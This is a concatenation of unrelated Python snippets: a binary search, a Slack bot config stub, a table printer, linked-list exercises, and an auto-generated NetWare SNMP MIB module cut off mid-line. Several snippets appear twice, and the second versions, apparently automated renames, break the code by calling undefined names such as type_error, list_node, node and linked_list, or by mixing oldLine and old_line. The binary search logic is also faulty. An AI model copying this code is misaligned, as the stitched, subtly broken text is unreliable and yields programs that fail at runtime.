def binary_search(sorted_list, key): if type(key) is not int: raise TypeError('Argument invalid. Must be int.') left = 0 right = len(sorted_list) - 1 while left != right: # import pdb; pdb.set_trace() if (left + right) % 2: if sorted_list[int((left + right) / 2)] == key: return int((left + right) / 2) if sorted_list[int((left + right) / 2)] > key: right = int((left + right) / 2) else: left = int((left + right) / 2) elif sorted_list[int((left + right + 1) / 2)] == key: return int((left + right + 1) / 2) if sorted_list[int((left + right + 1) / 2)] == key: return int((left + right + 1) / 2) if sorted_list[int((left + right + 1) / 2)] > key: right = int((left + right + 1) / 2) else: left = int((left + right + 1) / 2) return 0 - 1 if __name__ == '__main__': binary_search([4, 8, 15, 16, 23, 42], 42)
def binary_search(sorted_list, key): if type(key) is not int: raise type_error('Argument invalid. Must be int.') left = 0 right = len(sorted_list) - 1 while left != right: if (left + right) % 2: if sorted_list[int((left + right) / 2)] == key: return int((left + right) / 2) if sorted_list[int((left + right) / 2)] > key: right = int((left + right) / 2) else: left = int((left + right) / 2) elif sorted_list[int((left + right + 1) / 2)] == key: return int((left + right + 1) / 2) if sorted_list[int((left + right + 1) / 2)] == key: return int((left + right + 1) / 2) if sorted_list[int((left + right + 1) / 2)] > key: right = int((left + right + 1) / 2) else: left = int((left + right + 1) / 2) return 0 - 1 if __name__ == '__main__': binary_search([4, 8, 15, 16, 23, 42], 42)
# -*- coding: utf-8 -*- log_file = "autogreeter.log" # Fill this out for a logging. P.S It's a must! slack_token = "" # token for slack bot welcomemessagedm = "" # what the bot should dm the person welcomemessagechannel = "" # what should the bot post on a channel, leave empty to not post
log_file = 'autogreeter.log' slack_token = '' welcomemessagedm = '' welcomemessagechannel = ''
table = [ 'Feature | This Lib | Classical Singleton | [herpe] | [ugrif] | [xytis] | [aworx] | [fwolt] | [zyf38] | [cheno] | [cppma]', 'supports instance replacement for testing | X | - | - | - | - | - | - | - | X | X', '2-phase initialization avoidable| X | - | - | - | - | - | - | - | - | -', 'control over construction seqence | full | limited | limited<sup>2</sup> | limited<sup>2</sup> | limited<sup>2</sup> | limited<sup>2</sup> | limited | limited<sup>2</sup> | limited<sup>2</sup> | full<sup>2</sup>', 'control over destruction seqence | full | none | none | full | full | full | none | none | full | full', 'control over destruction point in time | full | none | none | full | full | full | none | none | full | full', 'automatic destruction | X | X | X | - | -<sup>3</sup> | - | X | X | -<sup>4</sup> | X', 'constructor arguments | X | - | X<sup>1</sup> | - | - | - | X | - | - | up to 4', 'threadsave construction | - | X | X | - | - | X<sup>5</sup> | X | X | X | optional', 'implementation pattern | indep. class | function | CRTP | macro | indep. class | CRTP | CRTP | indep. class | indep. class | indep. class', 'forces virtual destructor | - | - | X | - | - | X | - | - | - | -', 'thread local instances | - | - | - | - | - | - | - | - | X | -'] for x in range(11): line = '' for oldLine in table: line = line + ' | ' + oldLine.split('|')[x] line = line + ' |' print(line)
table = ['Feature | This Lib | Classical Singleton | [herpe] | [ugrif] | [xytis] | [aworx] | [fwolt] | [zyf38] | [cheno] | [cppma]', 'supports instance replacement for testing | X | - | - | - | - | - | - | - | X | X', '2-phase initialization avoidable| X | - | - | - | - | - | - | - | - | -', 'control over construction seqence | full | limited | limited<sup>2</sup> | limited<sup>2</sup> | limited<sup>2</sup> | limited<sup>2</sup> | limited | limited<sup>2</sup> | limited<sup>2</sup> | full<sup>2</sup>', 'control over destruction seqence | full | none | none | full | full | full | none | none | full | full', 'control over destruction point in time | full | none | none | full | full | full | none | none | full | full', 'automatic destruction | X | X | X | - | -<sup>3</sup> | - | X | X | -<sup>4</sup> | X', 'constructor arguments | X | - | X<sup>1</sup> | - | - | - | X | - | - | up to 4', 'threadsave construction | - | X | X | - | - | X<sup>5</sup> | X | X | X | optional', 'implementation pattern | indep. class | function | CRTP | macro | indep. class | CRTP | CRTP | indep. class | indep. class | indep. class', 'forces virtual destructor | - | - | X | - | - | X | - | - | - | -', 'thread local instances | - | - | - | - | - | - | - | - | X | -'] for x in range(11): line = '' for old_line in table: line = line + ' | ' + oldLine.split('|')[x] line = line + ' |' print(line)
# Definition for singly-linked list. class ListNode: def __init__(self, val=0, next=None): self.val = val self.next = next class Solution: def deleteDuplicates(self, head: ListNode) -> ListNode: if not head: return head dummy_head = ListNode() dummy_head.next = head prev = dummy_head while head and head.next: if head.val == head.next.val: while head.next and head.val == head.next.val: head = head.next prev.next = head.next head = prev.next else: prev, head = head, head.next return dummy_head.next
class Listnode: def __init__(self, val=0, next=None): self.val = val self.next = next class Solution: def delete_duplicates(self, head: ListNode) -> ListNode: if not head: return head dummy_head = list_node() dummy_head.next = head prev = dummy_head while head and head.next: if head.val == head.next.val: while head.next and head.val == head.next.val: head = head.next prev.next = head.next head = prev.next else: (prev, head) = (head, head.next) return dummy_head.next
class Node: def __init__(self, value=""): self.value = value self.next = None class LinkedList(): def __init__(self): self.head = None self.values=[] def insert(self, value): self.values.append(value) node = Node(value) if self.head: node.next = self.head self.head = node def includes(self,value): current=self.head while current: if current.value==value: return True else: current=current.next return False def __str__(self): string = "" current = self.head while current: string += f"{str(current.value)} -> " current = current.next string += "NULL" return string def appendvalue(self,value): new_node=Node(value) if self.head==None: self.head=new_node else: currunt=self.head while currunt.next: currunt=currunt.next currunt.next=new_node def insert_befor(self,value,new_value): new_node=Node(new_value) if self.head.value==value: self.insert(new_value) else: currunt=self.head while currunt.next: if currunt.next.value==value: new_node.next=currunt.next currunt.next=new_node break currunt=currunt.next def insert_after(self,value,new_value): new_node=Node(new_value) if self.head.value==value: self.head.next=new_node else: currunt=self.head while currunt: if currunt.value==value: new_node.next=currunt.next currunt.next=new_node break currunt=currunt.next def kth_from_end(self,num): current=self.head sol=[] if num<0: return 'k is negative, please enter a positive number' counter=0 while current.next: counter +=1 current=current.next if counter+1==num: return 'the k value is the same as the length of the list, please change it' if counter<num: raise Exception position=counter-num current=self.head for x in range(position): current=current.next return current.value # while current: # sol.append(current.value) # current=current.next # if len(sol)> num: # sol.reverse() # return sol[num] # elif len(sol)==num: # return 'the k value is the same as the length of the list, please change it' # elif len(sol)<num: # raise Exception def zip_lists(first:LinkedList,second:LinkedList): var1 =first.head var2=second.head new=LinkedList() while True: if var1: new.appendvalue(var1.value) var1=var1.next if var2: new.appendvalue(var2.value) var2=var2.next if not var1 and not var2 : break return new if __name__ == "__main__": first=LinkedList() second=LinkedList() first.appendvalue(11) first.appendvalue(12) first.appendvalue(13) first.appendvalue(14) second.appendvalue(21) second.appendvalue(22) second.appendvalue(23) second.appendvalue(24) new=zip_lists(first,second) print(new)
class Node: def __init__(self, value=''): self.value = value self.next = None class Linkedlist: def __init__(self): self.head = None self.values = [] def insert(self, value): self.values.append(value) node = node(value) if self.head: node.next = self.head self.head = node def includes(self, value): current = self.head while current: if current.value == value: return True else: current = current.next return False def __str__(self): string = '' current = self.head while current: string += f'{str(current.value)} -> ' current = current.next string += 'NULL' return string def appendvalue(self, value): new_node = node(value) if self.head == None: self.head = new_node else: currunt = self.head while currunt.next: currunt = currunt.next currunt.next = new_node def insert_befor(self, value, new_value): new_node = node(new_value) if self.head.value == value: self.insert(new_value) else: currunt = self.head while currunt.next: if currunt.next.value == value: new_node.next = currunt.next currunt.next = new_node break currunt = currunt.next def insert_after(self, value, new_value): new_node = node(new_value) if self.head.value == value: self.head.next = new_node else: currunt = self.head while currunt: if currunt.value == value: new_node.next = currunt.next currunt.next = new_node break currunt = currunt.next def kth_from_end(self, num): current = self.head sol = [] if num < 0: return 'k is negative, please enter a positive number' counter = 0 while current.next: counter += 1 current = current.next if counter + 1 == num: return 'the k value is the same as the length of the list, please change it' if counter < num: raise Exception position = counter - num current = self.head for x in range(position): current = current.next return current.value def zip_lists(first: LinkedList, second: LinkedList): var1 = first.head var2 = second.head new = linked_list() while True: if var1: new.appendvalue(var1.value) var1 = var1.next if var2: new.appendvalue(var2.value) var2 = var2.next if not var1 and (not var2): break return new if __name__ == '__main__': first = linked_list() second = linked_list() first.appendvalue(11) first.appendvalue(12) first.appendvalue(13) first.appendvalue(14) second.appendvalue(21) second.appendvalue(22) second.appendvalue(23) second.appendvalue(24) new = zip_lists(first, second) print(new)
# # PySNMP MIB module NetWare-Host-Ext-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/NetWare-Host-Ext-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 20:16:26 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueRangeConstraint") hrDeviceIndex, = mibBuilder.importSymbols("HOST-RESOURCES-MIB", "hrDeviceIndex") ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Unsigned32, Counter64, MibIdentifier, Bits, iso, TimeTicks, Integer32, Gauge32, ObjectIdentity, IpAddress, enterprises, NotificationType, Counter32 = mibBuilder.importSymbols("SNMPv2-SMI", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Unsigned32", "Counter64", "MibIdentifier", "Bits", "iso", "TimeTicks", "Integer32", "Gauge32", "ObjectIdentity", "IpAddress", "enterprises", "NotificationType", "Counter32") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") class TransportDomain(Integer32): subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4)) namedValues = NamedValues(("noAddress", 1), ("ipx", 2), ("ip", 3), ("appleTalkDDP", 4)) class TransportAddress(OctetString): pass novell = MibIdentifier((1, 3, 6, 1, 4, 1, 23)) mibDoc = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2)) nwHostExtensions = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27)) nwhrStorage = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2)) nwhrDevice = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 3)) nwhrOdi = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 10)) nwhrStorageTypes = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1)) nwhrStorageVolume = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 1)) nwhrStorageMemoryPermanent = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 2)) nwhrStorageMemoryAlloc = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 3)) nwhrStorageCacheBuffers = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 4)) nwhrStorageCacheMovable = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 5)) nwhrStorageCacheNonMovable = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 6)) nwhrStorageCodeAndDataMemory = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 7)) nwhrStorageDOSMemory = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 8)) nwhrStorageIOEngineMemory = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 9)) nwhrStorageMSEngineMemory = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 10)) nwhrStorageUnclaimedMemory = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 2, 1, 11)) nwhrDeviceTypes = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 1)) nwhrDeviceMirroredServerLink = MibIdentifier((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 1, 1)) class KBytes(Integer32): subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647) class InternationalDisplayString(OctetString): pass nwhrDeviceTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2), ) if mibBuilder.loadTexts: nwhrDeviceTable.setStatus('mandatory') nwhrDeviceEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1), ).setIndexNames((0, "HOST-RESOURCES-MIB", "hrDeviceIndex")) if mibBuilder.loadTexts: nwhrDeviceEntry.setStatus('mandatory') nwhrDeviceAdapterIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDeviceAdapterIndex.setStatus('mandatory') nwhrDeviceControllerNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDeviceControllerNumber.setStatus('mandatory') nwhrDeviceNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 2, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDeviceNumber.setStatus('mandatory') nwhrProcessorCount = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrProcessorCount.setStatus('mandatory') nwhrPrinterCount = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterCount.setStatus('mandatory') nwhrDiskStorageCount = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDiskStorageCount.setStatus('mandatory') nwhrDiskStorageTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6), ) if mibBuilder.loadTexts: nwhrDiskStorageTable.setStatus('mandatory') nwhrDiskStorageEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1), ).setIndexNames((0, "HOST-RESOURCES-MIB", "hrDeviceIndex")) if mibBuilder.loadTexts: nwhrDiskStorageEntry.setStatus('mandatory') nwhrDiskStorageHeads = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDiskStorageHeads.setStatus('mandatory') nwhrDiskStorageCylinders = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDiskStorageCylinders.setStatus('mandatory') nwhrDiskStorageSectorsPerTrack = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDiskStorageSectorsPerTrack.setStatus('mandatory') nwhrDiskStorageSectorSize = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDiskStorageSectorSize.setStatus('mandatory') nwhrDiskStorageBlockSize = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 6, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrDiskStorageBlockSize.setStatus('mandatory') nwhrPhysicalPartitionTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7), ) if mibBuilder.loadTexts: nwhrPhysicalPartitionTable.setStatus('mandatory') nwhrPhysicalPartitionEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1), ).setIndexNames((0, "HOST-RESOURCES-MIB", "hrDeviceIndex"), (0, "NetWare-Host-Ext-MIB", "nwhrPhysicalPartitionIndex")) if mibBuilder.loadTexts: nwhrPhysicalPartitionEntry.setStatus('mandatory') nwhrPhysicalPartitionIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPhysicalPartitionIndex.setStatus('mandatory') nwhrPhysicalPartitionType = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("other", 1), ("netWare", 2), ("dos", 3), ("inwDos", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPhysicalPartitionType.setStatus('mandatory') nwhrPhysicalPartitionDescr = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 3), InternationalDisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPhysicalPartitionDescr.setStatus('mandatory') nwhrPhysicalPartitionSize = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 7, 1, 4), KBytes()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPhysicalPartitionSize.setStatus('mandatory') nwhrHotfixTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8), ) if mibBuilder.loadTexts: nwhrHotfixTable.setStatus('mandatory') nwhrHotfixEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1), ).setIndexNames((0, "HOST-RESOURCES-MIB", "hrDeviceIndex"), (0, "NetWare-Host-Ext-MIB", "nwhrPhysicalPartitionIndex")) if mibBuilder.loadTexts: nwhrHotfixEntry.setStatus('mandatory') nwhrHotfixUnits = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrHotfixUnits.setStatus('mandatory') nwhrHotfixTotal = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrHotfixTotal.setStatus('mandatory') nwhrHotfixUsed = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrHotfixUsed.setStatus('mandatory') nwhrHotfixReserved = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 8, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrHotfixReserved.setStatus('mandatory') nwhrAdapterCount = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterCount.setStatus('mandatory') nwhrAdapterTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10), ) if mibBuilder.loadTexts: nwhrAdapterTable.setStatus('mandatory') nwhrAdapterEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1), ).setIndexNames((0, "NetWare-Host-Ext-MIB", "nwhrAdapterIndex")) if mibBuilder.loadTexts: nwhrAdapterEntry.setStatus('mandatory') nwhrAdapterIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterIndex.setStatus('mandatory') nwhrAdapterType = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 2), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterType.setStatus('mandatory') nwhrAdapterDescr = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 3), InternationalDisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDescr.setStatus('mandatory') nwhrAdapterDriverDescr = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 4), InternationalDisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDriverDescr.setStatus('mandatory') nwhrAdapterDriverMajorVer = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDriverMajorVer.setStatus('mandatory') nwhrAdapterDriverMinorVer = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDriverMinorVer.setStatus('mandatory') nwhrAdapterPort1 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterPort1.setStatus('mandatory') nwhrAdapterPort1Len = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterPort1Len.setStatus('mandatory') nwhrAdapterPort2 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterPort2.setStatus('mandatory') nwhrAdapterPort2Len = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 10), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterPort2Len.setStatus('mandatory') nwhrAdapterMem1 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterMem1.setStatus('mandatory') nwhrAdapterMem1Len = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 12), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterMem1Len.setStatus('mandatory') nwhrAdapterMem2 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 13), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterMem2.setStatus('mandatory') nwhrAdapterMem2Len = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 14), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterMem2Len.setStatus('mandatory') nwhrAdapterDMA1 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDMA1.setStatus('mandatory') nwhrAdapterDMA2 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDMA2.setStatus('mandatory') nwhrAdapterInterrupt1 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 17), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterInterrupt1.setStatus('mandatory') nwhrAdapterInterrupt2 = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 18), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 255))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterInterrupt2.setStatus('mandatory') nwhrAdapterSlot = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 19), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterSlot.setStatus('mandatory') nwhrAdapterDevices = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 10, 1, 20), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrAdapterDevices.setStatus('mandatory') nwhrMslCount = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslCount.setStatus('mandatory') nwhrMslTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12), ) if mibBuilder.loadTexts: nwhrMslTable.setStatus('mandatory') nwhrMslEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1), ).setIndexNames((0, "HOST-RESOURCES-MIB", "hrDeviceIndex")) if mibBuilder.loadTexts: nwhrMslEntry.setStatus('mandatory') nwhrMslState = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("offline", 1), ("startup", 2), ("standby", 3), ("active", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslState.setStatus('mandatory') nwhrMslSpeed = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslSpeed.setStatus('mandatory') nwhrMslSends = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslSends.setStatus('mandatory') nwhrMslReceives = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslReceives.setStatus('mandatory') nwhrMslInErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslInErrors.setStatus('mandatory') nwhrMslOutErrors = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 12, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrMslOutErrors.setStatus('mandatory') nwhrPrinterTable = MibTable((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13), ) if mibBuilder.loadTexts: nwhrPrinterTable.setStatus('mandatory') nwhrPrinterEntry = MibTableRow((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1), ).setIndexNames((0, "NetWare-Host-Ext-MIB", "nwhrPrinterID")) if mibBuilder.loadTexts: nwhrPrinterEntry.setStatus('mandatory') nwhrPrinterID = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterID.setStatus('mandatory') nwhrPrinterType = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("other", 1), ("local", 2), ("netware", 3), ("unixware", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterType.setStatus('mandatory') nwhrPrinterLocalName = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 3), InternationalDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterLocalName.setStatus('mandatory') nwhrPrinterQueueName = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 4), InternationalDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterQueueName.setStatus('mandatory') nwhrPrinterServerName = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 5), InternationalDisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterServerName.setStatus('mandatory') nwhrPrinterTransportDomain = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 6), TransportDomain()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterTransportDomain.setStatus('mandatory') nwhrPrinterTransportAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 7), TransportAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterTransportAddress.setStatus('mandatory') nwhrPrinterDeviceIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 23, 2, 27, 3, 13, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 2147483647))).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrPrinterDeviceIndex.setStatus('mandatory') nwhrLslOutPkts = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 1), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrLslOutPkts.setStatus('mandatory') nwhrLslInPkts = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: nwhrLslInPkts.setStatus('mandatory') nwhrLslUnclaimedPkts = MibScalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: 